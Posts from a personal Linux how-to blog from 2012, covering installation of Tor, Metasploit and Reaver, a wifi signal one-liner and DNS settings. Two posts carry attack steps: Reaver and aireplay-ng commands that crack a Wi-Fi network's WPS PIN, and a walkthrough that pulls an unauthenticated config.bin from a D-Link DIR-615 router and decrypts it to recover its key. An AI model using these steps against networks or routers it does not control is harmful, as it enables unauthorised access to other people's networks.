Tuesday, July 31, 2012

How to install Reaver-wps in Ubuntu 11.10?


1. wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz

2. tar xvf reaver-1.4.tar.gz

3. cd reaver-1.4/

4. ./configure

5. IF got error (error: pcap library not found!)*Move to step 6.

6. apt-get install libsqlite3-dev libpcap0.8-dev build-essential

7. make

8. make install

9. EOF #



* To Run Reaver
=========
Open two terminal
-----------------------

#aireplay-ng wlan0 -1 120 -a 00:01:02:03:04:05 -e cc:2e:13:fc:34:65


#reaver -i wlan0 -A -b 00:01:02:03:04:05 -v -d 1 -x 30 -l 600

Friday, July 20, 2012

How to install TOR in Ubuntu.

I always forgot on how to install TOR.It nothing new.Just for my library archive.

Do not use the packages in Ubuntu's universe. They are unmaintained and out of date. That means you'll be missing stability and security fixes.

You'll need to set up our package repository before you can fetch Tor. First, you need to figure out the name of your distribution. Here's a quick mapping:

Ubuntu 11.04 is "natty"
Ubuntu 10.10 or Trisquel 4.5 is "maverick"
Ubuntu 10.04 or Trisquel 4.0 is "lucid"
Ubuntu 9.10 or Trisquel 3.5 is "karmic"
Ubuntu 9.04 is "jaunty"
Ubuntu 8.10 is "intrepid"
Ubuntu 8.04 is "hardy"
Debian Etch is "etch"
Debian Lenny is "lenny"

Then add this line to your /etc/apt/sources.list file:

deb http://deb.torproject.org/torproject.org main

where you substitute the above word (etch, lenny, sid, karmic, jaunty, intrepid, hardy) in place of .

Then add the gpg key used to sign the packages by running the following commands at your command prompt:

gpg --keyserver keys.gnupg.net --recv 886DDD89
gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -

Now refresh your sources and install Vidalia by running the following commands at your command prompt:

apt-get update
apt-get install vidalia deb.torproject.org-keyring



*Install TOR in Ubuntu Precise*

   - Just add in apt source list.



deb     http://deb.torproject.org/torproject.org experimental-precise main




Courtesy of TorProject

Thursday, July 19, 2012

How to Setup and Configure Metasploit-4.4.0

Go and download the latest version at Metasploit 4.4.0

open your terminal and find the install that you save and type chmod +x metasploit-latest-linux-installer.run to make the file executable.

then you type it ./metasploit-latest-linux-installer.run and ENTER.

setup it and depend on which directory you prefer to put.As a default it will put inside opt/metasploit-4.4.0/

After finish installing you can register it or you may run in inside the terminal.Its all depends on you guys.

How to Update
==============

root@Blog:/usr/local/bin# chmod +x msfupdate
root@Blog:/usr/local/bin# ./msfupdate
[*]
[*] Attempting to update the Metasploit Framework...
[*]

Updating '.':
Updated to revision 15655.


ps: This installation guide i do it myself after my OS crash.I do a fresh installation of this Metasploit-4.4.0 inside my box.You may refer to Metasploit Blog if you got any question or doubt.If my guide may or can crash you box..im not responsible of it :)

Thursday, July 12, 2012

How to Get Wifi Signal Strength Indication

In Percentage

while [ 1 ];do clear;a=$(/sbin/iwconfig wlan0 | grep "Link Quality" | awk '{print $2}' | sed 's/.*\=//'); echo $(($((${a%/*} * 100)) / ${a#*/}))%;sleep 1;done


In Normal way

iwconfig wlan0 | grep "Link Quality"

Thursday, July 5, 2012

D-Link (DIR-615) Vulnerability .How to?

Prerequisites :

1. A DIR-615 G1/G2 router with firmware 7.05x

2. A network connection to the router (Private)http://192.168.1.1 or (Public)http://123.456.46.16.

3. RouterPassView - This is the main tool here which performs the decryption/decompression of the router configuration file. Download it here :RouterPassView Software

How To.(Steps)
=============

1. Visit your router's web configuration address. By default its either http://192.168.1.1 or http://192.168.0.1 or http://123.456.46.16 .

2. Once you can see the login page (you do not have to be logged in), append '/config.bin' to the back of the URL and visit that page (example : http://192.168.1.1/config.bin).

3. A file download for 'config.bin' should begin. Save the file to your computer.

4. Run RouterPassView.

5. Open the downloaded 'config.bin' in RouterPassView.. you should be able to see a table with some valid values.

6. And THAT IS YOUR Key for the padlock!!!

Wednesday, July 4, 2012

Make your DNS Static/Permanent in Ubuntu 11.04.How to?

Easier way out would be to edit /etc/resolv.conf and add your DNS records like this:

nameserver 8.8.8.8
nameserver 8.8.4.4


Then run sudo chattr +i /etc/resolv.conf to stop NetworkManager from overwriting the file.

To normalize back so that the dhcp can overwrite the name server you need to type

sudo chattr -i /etc/resolv.conf